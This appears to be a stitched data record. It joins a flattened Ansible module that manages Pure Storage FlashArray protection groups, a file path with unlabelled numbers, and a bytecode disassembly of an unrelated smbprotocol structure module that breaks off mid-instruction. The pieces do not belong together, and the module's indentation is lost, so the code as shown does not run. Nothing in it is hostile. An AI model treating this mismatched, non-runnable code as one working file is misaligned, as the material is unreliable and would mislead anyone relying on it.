on source array.") if set(module.params["target"][0:4]).issubset(connected_arrays): if not module.check_mode: try: array.create_pgroup( module.params["name"], targetlist=module.params["target"][0:4] ) except Exception: module.fail_json( msg="Creation of replicated pgroup {0} failed. {1}".format( module.params["name"], module.params["target"][0:4] ) ) else: module.fail_json( msg="Check all selected targets are connected to the source array." ) else: if not module.check_mode: try: array.create_pgroup(module.params["name"]) except Exception: module.fail_json( msg="Creation of pgroup {0} failed.".format(module.params["name"]) ) if not module.check_mode: try: if module.params["target"]: array.set_pgroup( module.params["name"], replicate_enabled=module.params["enabled"], ) else: array.set_pgroup( module.params["name"], snap_enabled=module.params["enabled"] ) except Exception: module.fail_json( msg="Enabling pgroup {0} failed.".format(module.params["name"]) ) if module.params["volume"]: try: array.set_pgroup(module.params["name"], vollist=module.params["volume"]) except Exception: module.fail_json( msg="Adding volumes to pgroup {0} failed.".format( module.params["name"] ) ) if module.params["host"]: try: array.set_pgroup(module.params["name"], hostlist=module.params["host"]) except Exception: module.fail_json( msg="Adding hosts to pgroup {0} failed.".format( module.params["name"] ) ) if module.params["hostgroup"]: try: array.set_pgroup( module.params["name"], hgrouplist=module.params["hostgroup"] ) except Exception: module.fail_json( msg="Adding hostgroups to pgroup {0} failed.".format( module.params["name"] ) ) if module.params["safe_mode"]: arrayv6 = get_array(module) try: arrayv6.patch_protection_groups( names=[module.params["name"]], protection_group=flasharray.ProtectionGroup( retention_lock="ratcheted" ), ) except Exception: module.fail_json( msg="Failed to set SafeMode on pgroup {0}".format( module.params["name"] ) ) module.exit_json(changed=changed) def rename_exists(module, array): """Determine if rename target already exists""" exists = False new_name = module.params["rename"] if ":" in module.params["name"]: container = module.params["name"].split(":")[0] new_name = container + ":" + module.params["rename"] if "::" in module.params["name"]: new_name = container + "::" + module.params["rename"] for pgroup in array.list_pgroups(pending=True): if pgroup["name"].casefold() == new_name.casefold(): exists = True break return exists def update_pgroup(module, array): """Update Protection Group""" changed = renamed = False api_version = array._list_available_rest_versions() if module.params["target"]: connected_targets = [] connected_arrays = get_arrays(array) if OFFLOAD_API_VERSION in api_version: connected_targets = get_targets(array) connected_arrays = connected_arrays + connected_targets if connected_arrays == []: module.fail_json(msg="No targets connected to source array.") current_connects = array.get_pgroup(module.params["name"])["targets"] current_targets = [] if current_connects: for targetcnt in range(0, len(current_connects)): current_targets.append(current_connects[targetcnt]["name"]) if set(module.params["target"][0:4]) != set(current_targets): if not set(module.params["target"][0:4]).issubset(connected_arrays): module.fail_json( msg="Check all selected targets are connected to the source array." ) changed = True if not module.check_mode: try: array.set_pgroup( module.params["name"], targetlist=module.params["target"][0:4], ) except Exception: module.fail_json( msg="Changing targets for pgroup {0} failed.".format( module.params["name"] ) ) if ( module.params["target"] and module.params["enabled"] != get_pgroup_sched(module, array)["replicate_enabled"] ): changed = True if not module.check_mode: try: array.set_pgroup( module.params["name"], replicate_enabled=module.params["enabled"] ) except Exception: module.fail_json( msg="Changing enabled status of pgroup {0} failed.".format( module.params["name"] ) ) elif ( not module.params["target"] and module.params["enabled"] != get_pgroup_sched(module, array)["snap_enabled"] ): changed = True if not module.check_mode: try: array.set_pgroup( module.params["name"], snap_enabled=module.params["enabled"] ) except Exception: module.fail_json( msg="Changing enabled status of pgroup {0} failed.".format( module.params["name"] ) ) if ( module.params["volume"] and get_pgroup(module, array)["hosts"] is None and get_pgroup(module, array)["hgroups"] is None ): if get_pgroup(module, array)["volumes"] is None: if not module.check_mode: changed = True try: array.set_pgroup( module.params["name"], vollist=module.params["volume"] ) except Exception: module.fail_json( msg="Adding volumes to pgroup {0} failed.".format( module.params["name"] ) ) else: cased_vols = list(module.params["volume"]) cased_pgvols = list(get_pgroup(module, array)["volumes"]) if not all(x in cased_pgvols for x in cased_vols): if not module.check_mode: changed = True try: array.set_pgroup( module.params["name"], addvollist=module.params["volume"] ) except Exception: module.fail_json( msg="Changing volumes in pgroup {0} failed.".format( module.params["name"] ) ) if ( module.params["host"] and get_pgroup(module, array)["volumes"] is None and get_pgroup(module, array)["hgroups"] is None ): if get_pgroup(module, array)["hosts"] is None: if not module.check_mode: changed = True try: array.set_pgroup( module.params["name"], hostlist=module.params["host"] ) except Exception: module.fail_json( msg="Adding hosts to pgroup {0} failed.".format( module.params["name"] ) ) else: cased_hosts = list(module.params["host"]) cased_pghosts = list(get_pgroup(module, array)["hosts"]) if not all(x in cased_pghosts for x in cased_hosts): if not module.check_mode: changed = True try: array.set_pgroup( module.params["name"], addhostlist=module.params["host"] ) except Exception: module.fail_json( msg="Changing hosts in pgroup {0} failed.".format( module.params["name"] ) ) if ( module.params["hostgroup"] and get_pgroup(module, array)["hosts"] is None and get_pgroup(module, array)["volumes"] is None ): if get_pgroup(module, array)["hgroups"] is None: if not module.check_mode: changed = True try: array.set_pgroup( module.params["name"], hgrouplist=module.params["hostgroup"] ) except Exception: module.fail_json( msg="Adding hostgroups to pgroup {0} failed.".format( module.params["name"] ) ) else: cased_hostg = list(module.params["hostgroup"]) cased_pghostg = list(get_pgroup(module, array)["hgroups"]) if not all(x in cased_pghostg for x in cased_hostg): if not module.check_mode: changed = True try: array.set_pgroup( module.params["name"], addhgrouplist=module.params["hostgroup"], ) except Exception: module.fail_json( msg="Changing hostgroups in pgroup {0} failed.".format( module.params["name"] ) ) if module.params["rename"]: if not rename_exists(module, array): if ":" in module.params["name"]: container = module.params["name"].split(":")[0] if "::" in module.params["name"]: rename = container + "::" + module.params["rename"] else: rename = container + ":" + module.params["rename"] else: rename = module.params["rename"] renamed = True if not module.check_mode: try: array.rename_pgroup(module.params["name"], rename) module.params["name"] = rename except Exception: module.fail_json(msg="Rename to {0} failed.".format(rename)) else: module.warn( "Rename failed. Protection group {0} already exists in container. Continuing with other changes...".format( module.params["rename"] ) ) if RETENTION_LOCK_VERSION in api_version: arrayv6 = get_array(module) current_pg = list( arrayv6.get_protection_groups(names=[module.params["name"]]).items )[0] if current_pg.retention_lock == "unlocked" and module.params["safe_mode"]: changed = True if not module.check_mode: res = arrayv6.patch_protection_groups( names=[module.params["name"]], protection_group=flasharray.ProtectionGroup( retention_lock="ratcheted" ), ) if res.status_code != 200: module.fail_json( msg="Failed to set SafeMode on protection group {0}. Error: {1}".format( module.params["name"], res.errors[0].message, ) ) if current_pg.retention_lock == "ratcheted" and not module.params["safe_mode"]: module.warn( "Disabling SafeMode on protection group {0} can only be performed by Pure Technical Support".format( module.params["name"] ) ) changed = changed or renamed module.exit_json(changed=changed) def eradicate_pgroup(module, array): """Eradicate Protection Group""" changed = True if not module.check_mode: if ":" in module.params["name"]: if "::" not in module.params["name"]: try: target = "".join(module.params["target"]) array.destroy_pgroup( module.params["name"], on=target, eradicate=True ) except Exception: module.fail_json( msg="Eradicating pgroup {0} failed.".format( module.params["name"] ) ) else: try: array.destroy_pgroup(module.params["name"], eradicate=True) except Exception: module.fail_json( msg="Eradicating pgroup {0} failed.".format( module.params["name"] ) ) else: try: array.destroy_pgroup(module.params["name"], eradicate=True) except Exception: module.fail_json( msg="Eradicating pgroup {0} failed.".format(module.params["name"]) ) module.exit_json(changed=changed) def delete_pgroup(module, array): """Delete Protection Group""" changed = True if not module.check_mode: if ":" in module.params["name"]: if "::" not in module.params["name"]: try: target = "".join(module.params["target"]) array.destroy_pgroup(module.params["name"], on=target) except Exception: module.fail_json( msg="Deleting pgroup {0} failed.".format(module.params["name"]) ) else: try: array.destroy_pgroup(module.params["name"]) except Exception: module.fail_json( msg="Deleting pgroup {0} failed.".format(module.params["name"]) ) else: try: array.destroy_pgroup(module.params["name"]) except Exception: module.fail_json( msg="Deleting pgroup {0} failed.".format(module.params["name"]) ) if module.params["eradicate"]: eradicate_pgroup(module, array) module.exit_json(changed=changed) def recover_pgroup(module, array): """Recover deleted protection group""" changed = True if not module.check_mode: if ":" in module.params["name"]: if "::" not in module.params["name"]: try: target = "".join(module.params["target"]) array.recover_pgroup(module.params["name"], on=target) except Exception: module.fail_json( msg="Recover pgroup {0} failed.".format(module.params["name"]) ) else: try: array.recover_pgroup(module.params["name"]) except Exception: module.fail_json( msg="Recover pgroup {0} failed.".format(module.params["name"]) ) else: try: array.recover_pgroup(module.params["name"]) except Exception: module.fail_json( msg="ecover pgroup {0} failed.".format(module.params["name"]) ) module.exit_json(changed=changed) def main(): argument_spec = purefa_argument_spec() argument_spec.update( dict( name=dict(type="str", required=True, aliases=["pgroup"]), state=dict(type="str", default="present", choices=["absent", "present"]), volume=dict(type="list", elements="str"), host=dict(type="list", elements="str"), hostgroup=dict(type="list", elements="str"), target=dict(type="list", elements="str"), safe_mode=dict(type="bool", default=False), eradicate=dict(type="bool", default=False), enabled=dict(type="bool", default=True), rename=dict(type="str"), ) ) mutually_exclusive = [["volume", "host", "hostgroup"]] module = AnsibleModule( argument_spec, mutually_exclusive=mutually_exclusive, supports_check_mode=True ) if not HAS_PURESTORAGE and module.params["safe_mode"]: module.fail_json( msg="py-pure-client sdk is required to support 'safe_mode' parameter" ) state = module.params["state"] array = get_system(module) pattern = re.compile("^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$") if module.params["rename"]: if not pattern.match(module.params["rename"]): module.fail_json( msg="Rename value {0} does not conform to naming convention".format( module.params["rename"] ) ) if not pattern.match(module.params["name"].split(":")[-1]): module.fail_json( msg="Protection Group name {0} does not conform to naming convention".format( module.params["name"] ) ) api_version = array._list_available_rest_versions() if module.params["safe_mode"] and RETENTION_LOCK_VERSION not in api_version: module.fail_json( msg="API version does not support setting SafeMode on a protection group." ) if ":" in module.params["name"] and OFFLOAD_API_VERSION not in api_version: module.fail_json(msg="API version does not support offload protection groups.") if "::" in module.params["name"] and AC_PG_API_VERSION not in api_version: module.fail_json( msg="API version does not support ActiveCluster protection groups." ) if ":" in module.params["name"]: if "::" in module.params["name"]: pgname = module.params["name"].split("::")[1] else: pgname = module.params["name"].split(":")[1] if not pattern.match(pgname): module.fail_json( msg="Protection Group name {0} does not conform to naming convention".format( pgname ) ) else: if not pattern.match(module.params["name"]): module.fail_json( msg="Protection Group name {0} does not conform to naming convention".format( module.params["name"] ) ) pgroup = get_pgroup(module, array) xpgroup = get_pending_pgroup(module, array) if "::" in module.params["name"]: if not get_pod(module, array): module.fail_json( msg="Pod {0} does not exist.".format( module.params["name"].split("::")[0] ) ) if module.params["host"]: try: for hst in module.params["host"]: array.get_host(hst) except Exception: module.fail_json(msg="Host {0} not found".format(hst)) if module.params["hostgroup"]: try: for hstg in module.params["hostgroup"]: array.get_hgroup(hstg) except Exception: module.fail_json(msg="Hostgroup {0} not found".format(hstg)) if pgroup and state == "present": update_pgroup(module, array) elif pgroup and state == "absent": delete_pgroup(module, array) elif xpgroup and state == "absent" and module.params["eradicate"]: eradicate_pgroup(module, array) elif ( not pgroup and not xpgroup and state == "present" and not module.params["rename"] ): make_pgroup(module, array) elif not pgroup and state == "present" and module.params["rename"]: module.exit_json(changed=False) elif xpgroup and state == "present": recover_pgroup(module, array) elif pgroup is None and state == "absent": module.exit_json(changed=False) module.exit_json(changed=False) if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/purestorage/flasharray/plugins/modules/purefa_pg.py
14,553
8,994
278,245
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME datetime STORE_NAME datetime LOAD_CONST 0 LOAD_CONST None IMPORT_NAME math STORE_NAME math LOAD_CONST 0 LOAD_CONST None IMPORT_NAME struct STORE_NAME struct LOAD_CONST 0 LOAD_CONST None IMPORT_NAME textwrap STORE_NAME textwrap LOAD_CONST 0 LOAD_CONST None IMPORT_NAME types STORE_NAME types LOAD_CONST 0 LOAD_CONST None IMPORT_NAME uuid STORE_NAME uuid LOAD_CONST 0 LOAD_CONST ('ABCMeta', 'abstractmethod') IMPORT_NAME abc IMPORT_FROM ABCMeta STORE_NAME ABCMeta IMPORT_FROM abstractmethod STORE_NAME abstractmethod POP_TOP LOAD_CONST 0 LOAD_CONST ('hexlify',) IMPORT_NAME binascii IMPORT_FROM hexlify STORE_NAME hexlify POP_TOP LOAD_CONST 0 LOAD_CONST ('to_bytes', 'to_text') IMPORT_NAME smbprotocol._text IMPORT_FROM to_bytes STORE_NAME to_bytes IMPORT_FROM to_text STORE_NAME to_text POP_TOP LOAD_CONST ' ' STORE_NAME TAB LOAD_BUILD_CLASS LOAD_CONST <code object InvalidFieldDefinition at 0x7faa5f4bc810, file "f.py", line 16> LOAD_CONST 'InvalidFieldDefinition' MAKE_FUNCTION LOAD_CONST 'InvalidFieldDefinition' LOAD_NAME Exception CALL_FUNCTION STORE_NAME InvalidFieldDefinition LOAD_CONST (False, 8) LOAD_CONST <code object _bytes_to_hex at 0x7faa5efb6300, file "f.py", line 20> LOAD_CONST '_bytes_to_hex' MAKE_FUNCTION STORE_NAME _bytes_to_hex LOAD_CONST <code object _indent_lines at 0x7faa5efb6660, file "f.py", line 38> LOAD_CONST '_indent_lines' MAKE_FUNCTION STORE_NAME _indent_lines LOAD_BUILD_CLASS LOAD_CONST <code object Structure at 0x7faa750be780, file "f.py", line 48> LOAD_CONST 'Structure' MAKE_FUNCTION LOAD_CONST 'Structure' CALL_FUNCTION STORE_NAME Structure LOAD_BUILD_CLASS LOAD_CONST <code object Field at 0x7faa5f2711e0, file "f.py", line 120> LOAD_CONST 'Field' MAKE_FUNCTION LOAD_CONST 'Field' LOAD_NAME ABCMeta LOAD_CONST ('metaclass',) CALL_FUNCTION STORE_NAME Field LOAD_BUILD_CLASS LOAD_CONST <code object IntField at 0x7fab823a3ae0, file "f.py", line 312> LOAD_CONST 'IntField' MAKE_FUNCTION LOAD_CONST 'IntField' LOAD_NAME Field CALL_FUNCTION STORE_NAME IntField LOAD_BUILD_CLASS LOAD_CONST <code object BytesField at 0x7faa5e9e94b0, file "f.py", line 361> LOAD_CONST 'BytesField' MAKE_FUNCTION LOAD_CONST 'BytesField' LOAD_NAME Field CALL_FUNCTION STORE_NAME BytesField LOAD_BUILD_CLASS LOAD_CONST <code object ListField at 0x7faad43a0ae0, file "f.py", line 398> LOAD_CONST 'ListField' MAKE_FUNCTION LOAD_CONST 'ListField' LOAD_NAME Field CALL_FUNCTION STORE_NAME ListField LOAD_BUILD_CLASS LOAD_CONST <code object StructureField at 0x7fab411b9ae0, file "f.py", line 546> LOAD_CONST 'StructureField' MAKE_FUNCTION LOAD_CONST 'StructureField' LOAD_NAME Field CALL_FUNCTION STORE_NAME StructureField LOAD_BUILD_CLASS LOAD_CONST <code object DateTimeField at 0x7faac000cc90, file "f.py", line 622> LOAD_CONST 'DateTimeField' MAKE_FUNCTION LOAD_CONST 'DateTimeField' LOAD_NAME Field CALL_FUNCTION STORE_NAME DateTimeField LOAD_BUILD_CLASS LOAD_CONST <code object UuidField at 0x7faa759696f0, file "f.py", line 696> LOAD_CONST 'UuidField' MAKE_FUNCTION LOAD_CONST 'UuidField' LOAD_NAME Field CALL_FUNCTION STORE_NAME UuidField LOAD_BUILD_CLASS LOAD_CONST <code object EnumField at 0x7faa759691e0, file "f.py", line 744> LOAD_CONST 'EnumField' MAKE_FUNCTION LOAD_CONST 'EnumField' LOAD_NAME IntField CALL_FUNCTION STORE_NAME EnumField LOAD_BUILD_CLASS LOAD_CONST <code object FlagField at 0x7faa761eedb0, file "f.py", line 777> LOAD_CONST 'FlagField' MAKE_FUNCTION LOAD_CONST 'FlagField' LOAD_NAME IntField CALL_FUNCTION STORE_NAME FlagField LOAD_BUILD_CLASS LOAD_CONST <code object BoolField at 0x7faa761ee420, file "f.py", line 822> LOAD_CONST 'BoolField' MAKE_FUNCTION LOAD_CONST 'BoolField' LOAD_NAME Field CALL_FUNCTION STORE_NAME BoolField LOAD_BUILD_CLASS LOAD_CONST <code object TextField at 0x7faa7476b4b0, file "f.py", line 861> LOAD_CONST 'TextField' MAKE_FUNCTION LOAD_CONST 'TextField' LOAD_NAME BytesField CALL_FUNCTION STORE_NAME TextField LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'InvalidFieldDefinition' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_GLOBAL to_text LOAD_GLOBAL hexlify LOAD_FAST bytes CALL_FUNCTION CALL_FUNCTION STORE_DEREF hex LOAD_FAST pretty POP_JUMP_IF_FALSE LOAD_FAST hex_per_line LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_DEREF hex BUILD_LIST STORE_FAST hex_list JUMP_FORWARD to 76 LOAD_FAST hex_per_line LOAD_CONST 2 BINARY_MULTIPLY STORE_DEREF idx LOAD_GLOBAL list LOAD_CLOSURE hex LOAD_CLOSURE idx BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa5efb6030, file "f.py", line 28> LOAD_CONST '_bytes_to_hex.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL len LOAD_DEREF hex CALL_FUNCTION LOAD_DEREF idx CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST hex_list BUILD_LIST STORE_FAST hexes SETUP_LOOP to 140 LOAD_FAST hex_list GET_ITER FOR_ITER to 138 STORE_DEREF h LOAD_FAST hexes LOAD_METHOD append LOAD_CONST ' ' LOAD_METHOD join LOAD_CLOSURE h BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7faa5efb6150, file "f.py", line 32> LOAD_CONST '_bytes_to_hex.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 0 LOAD_GLOBAL len LOAD_DEREF h CALL_FUNCTION LOAD_CONST 2 CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD LOAD_METHOD upper CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST hexes CALL_METHOD STORE_DEREF hex LOAD_DEREF hex RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST i LOAD_DEREF hex LOAD_FAST i LOAD_FAST i LOAD_DEREF idx BINARY_ADD BUILD_SLICE BINARY_SUBSCR YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST i LOAD_DEREF h LOAD_FAST i LOAD_FAST i LOAD_CONST 2 BINARY_ADD BUILD_SLICE BINARY_SUBSCR YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST <code object predicate at 0x7faa5efb6ed0, file "f.py", line 39> LOAD_CONST '_indent_lines.<locals>.predicate' MAKE_FUNCTION STORE_FAST predicate BUILD_LIST STORE_FAST lines SETUP_LOOP to 58 LOAD_FAST string LOAD_METHOD splitlines LOAD_CONST True CALL_METHOD GET_ITER FOR_ITER to 56 STORE_FAST line LOAD_FAST lines LOAD_METHOD append LOAD_FAST predicate LOAD_FAST line CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST prefix LOAD_FAST line BINARY_ADD JUMP_FORWARD to 50 LOAD_FAST line CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST '' LOAD_METHOD join LOAD_FAST lines CALL_METHOD RETURN_VALUE LOAD_FAST line LOAD_METHOD strip CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Structure' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7faa5efb6810, file "f.py", line 49> LOAD_CONST 'Structure.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __str__ at 0x7faa5efb69c0, file "f.py", line 55> LOAD_CONST 'Structure.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object __setitem__ at 0x7faa5efb6e40, file "f.py", line 82> LOAD_CONST 'Structure.__setitem__' MAKE_FUNCTION STORE_NAME __setitem__ LOAD_CONST <code object __getitem__ at 0x7faa5efb6f60, file "f.py", line 86> LOAD_CONST 'Structure.__getitem__' MAKE_FUNCTION STORE_NAME __getitem__ LOAD_CONST <code object __delitem__ at 0x7faa5efb6c90, file "f.py", line 89> LOAD_CONST 'Structure.__delitem__' MAKE_FUNCTION STORE_NAME __delitem__ LOAD_CONST <code object __len__ at 0x7fab40f491e0, file "f.py", line 93> LOAD_CONST 'Structure.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_CONST <code object pack at 0x7faa750be270, file "f.py", line 99> LOAD_CONST 'Structure.pack' MAKE_FUNCTION STORE_NAME pack LOAD_CONST <code object unpack at 0x7faa750beed0, file "f.py", line 107> LOAD_CONST 'Structure.unpack' MAKE_FUNCTION STORE_NAME unpack LOAD_CONST <code object _get_field at 0x7faa750be5d0, file "f.py", line 113> LOAD_CONST 'Structure._get_field' MAKE_FUNCTION STORE_NAME _get_field LOAD_CONST None RETURN_VALUE SETUP_LOOP to 48 LOAD_FAST self LOAD_ATTR fields LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 46 UNPACK_SEQUENCE STORE_FAST name STORE_FAST field LOAD_FAST self LOAD_FAST field STORE_ATTR structure LOAD_FAST name LOAD_FAST field STORE_ATTR name LOAD_FAST field LOAD_METHOD set_value LOAD_FAST field LOAD_ATTR default CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ STORE_FAST struct_name LOAD_GLOBAL _bytes_to_hex LOAD_FAST self LOAD_METHOD pack CALL_METHOD LOAD_CONST True LOAD_CONST 0 LOAD_CONST ('hex_per_line',) CALL_FUNCTION STORE_FAST raw_hex BUILD_LIST STORE_FAST field_strings SETUP_LOOP to 114 LOAD_FAST self LOAD_ATTR fields LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 112 UNPACK_SEQUENCE STORE_FAST name STORE_FAST field LOAD_GLOBAL isinstance LOAD_FAST field LOAD_GLOBAL StructureField CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST field LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' =\n' LOAD_FAST field FORMAT_VALUE BUILD_STRING STORE_FAST field_string JUMP_FORWARD to 94 LOAD_FAST field LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' = ' LOAD_FAST field FORMAT_VALUE BUILD_STRING STORE_FAST field_string LOAD_FAST field_strings LOAD_METHOD append LOAD_GLOBAL _indent_lines LOAD_FAST field_string LOAD_GLOBAL TAB CALL_FUNCTION CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST field_strings LOAD_METHOD append LOAD_CONST '' CALL_METHOD POP_TOP LOAD_FAST field_strings LOAD_METHOD append LOAD_GLOBAL _indent_lines LOAD_CONST 'Raw Hex:' LOAD_GLOBAL TAB CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL textwrap LOAD_ATTR TextWrapper LOAD_CONST 33 LOAD_GLOBAL TAB LOAD_GLOBAL TAB BINARY_ADD LOAD_GLOBAL TAB LOAD_GLOBAL TAB BINARY_ADD LOAD_CONST ('width', 'initial_indent', 'subsequent_indent') CALL_FUNCTION STORE_FAST hex_wrapper LOAD_FAST field_strings LOAD_METHOD append LOAD_FAST hex_wrapper LOAD_METHOD fill LOAD_FAST raw_hex CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL to_text LOAD_FAST struct_name CALL_FUNCTION STORE_FAST struct_name LOAD_CONST '\n' LOAD_METHOD join LOAD_CONST <code object <listcomp> at 0x7faa5efb6270, file "f.py", line 78> LOAD_CONST 'Structure.__str__.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST field_strings GET_ITER CALL_FUNCTION CALL_METHOD STORE_FAST field_names LOAD_FAST struct_name FORMAT_VALUE LOAD_CONST ':\n' LOAD_FAST field_names FORMAT_VALUE BUILD_STRING STORE_FAST string LOAD_FAST string RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST s LOAD_GLOBAL to_text LOAD_FAST s CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_field LOAD_FAST key CALL_METHOD STORE_FAST field LOAD_FAST field LOAD_METHOD set_value LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_field LOAD_FAST key CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_field LOAD_FAST key CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR fields LOAD_FAST key DELETE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_CONST 0 STORE_FAST length SETUP_LOOP to 36 LOAD_FAST self LOAD_ATTR fields LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 34 STORE_FAST field LOAD_FAST length LOAD_GLOBAL len LOAD_FAST field CALL_FUNCTION INPLACE_ADD STORE_FAST length JUMP_ABSOLUTE POP_BLOCK LOAD_FAST length RETURN_VALUE LOAD_CONST b'' STORE_FAST data SETUP_LOOP to 40 LOAD_FAST self LOAD_ATTR fields LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 38 STORE_FAST field LOAD_FAST field LOAD_METHOD pack CALL_METHOD STORE_FAST field_data LOAD_FAST data LOAD_FAST field_data INPLACE_ADD STORE_FAST data JUMP_ABSOLUTE POP_BLOCK LOAD_FAST data RETURN_VALUE LOAD_GLOBAL memoryview LOAD_FAST data CALL_FUNCTION STORE_FAST mem SETUP_LOOP to 42 LOAD_FAST self LOAD_ATTR fields LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 40 UNPACK_SEQUENCE STORE_FAST key STORE_FAST field LOAD_FAST field LOAD_METHOD unpack LOAD_FAST mem CALL_METHOD STORE_FAST mem JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL bytes LOAD_FAST mem CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR fields LOAD_METHOD get LOAD_FAST key LOAD_CONST None CALL_METHOD STORE_FAST field LOAD_FAST field LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Structure does not contain field ' LOAD_FAST key FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST field RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Field' STORE_NAME __qualname__ LOAD_CONST (True, None, None) LOAD_CONST <code object __init__ at 0x7faa750bef60, file "f.py", line 121> LOAD_CONST 'Field.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __str__ at 0x7faa750beb70, file "f.py", line 150> LOAD_CONST 'Field.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object __len__ at 0x7faa750bec00, file "f.py", line 153> LOAD_CONST 'Field.__len__' MAKE_FUNCTION STORE_NAME __len__ LOAD_NAME property LOAD_CONST <code object _endian_prefix at 0x7faa750be9c0, file "f.py", line 156> LOAD_CONST 'Field._endian_prefix' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _endian_prefix LOAD_CONST <code object pack at 0x7faaac203270, file "f.py", line 160> LOAD_CONST 'Field.pack' MAKE_FUNCTION STORE_NAME pack LOAD_CONST <code object get_value at 0x7faaac203db0, file "f.py", line 180> LOAD_CONST 'Field.get_value' MAKE_FUNCTION STORE_NAME get_value LOAD_CONST <code object set_value at 0x7faaac203300, file "f.py", line 190> LOAD_CONST 'Field.set_value' MAKE_FUNCTION STORE_NAME set_value LOAD_CONST <code object unpack at 0x7faaac203ae0, file "f.py", line 202> LOAD_CONST 'Field.unpack' MAKE_FUNCTION STORE_NAME unpack LOAD_NAME abstractmethod LOAD_CONST <code object _pack_value at 0x7faaac203930, file "f.py", line 215> LOAD_CONST 'Field._pack_value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _pack_value LOAD_NAME abstractmethod LOAD_CONST <code object _parse_value at 0x7faaac203d20, file "f.py", line 226> LOAD_CONST 'Field._parse_value' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _parse_value LOAD_NAME abstractmethod LOAD_CONST <code object _get_packed_size at 0x7faaac203540, file "f.py", line 237> LOAD_CONST 'Field._get_packed_size' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _get_packed_size LOAD_NAME abstractmethod LOAD_CONST <code object _to_string at 0x7faaac2031e0, file "f.py", line 247> LOAD_CONST 'Field._to_string' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _to_string LOAD_CONST <code object _get_calculated_value at 0x7faaac2039c0, file "f.py", line 257> LOAD_CONST 'Field._get_calculated_value' MAKE_FUNCTION STORE_NAME _get_calculated_value LOAD_CONST <code object _get_calculated_size at 0x7faaac2036f0, file "f.py", line 271> LOAD_CONST 'Field._get_calculated_size' MAKE_FUNCTION STORE_NAME _get_calculated_size LOAD_CONST (True,) LOAD_CONST <code object _get_struct_format at 0x7faaac203ed0, file "f.py", line 290> LOAD_CONST 'Field._get_struct_format' MAKE_FUNCTION STORE_NAME _get_struct_format LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ STORE_FAST field_type LOAD_FAST little_endian LOAD_FAST self STORE_ATTR little_endian LOAD_FAST size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST size LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST size LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL InvalidFieldDefinition LOAD_FAST field_type 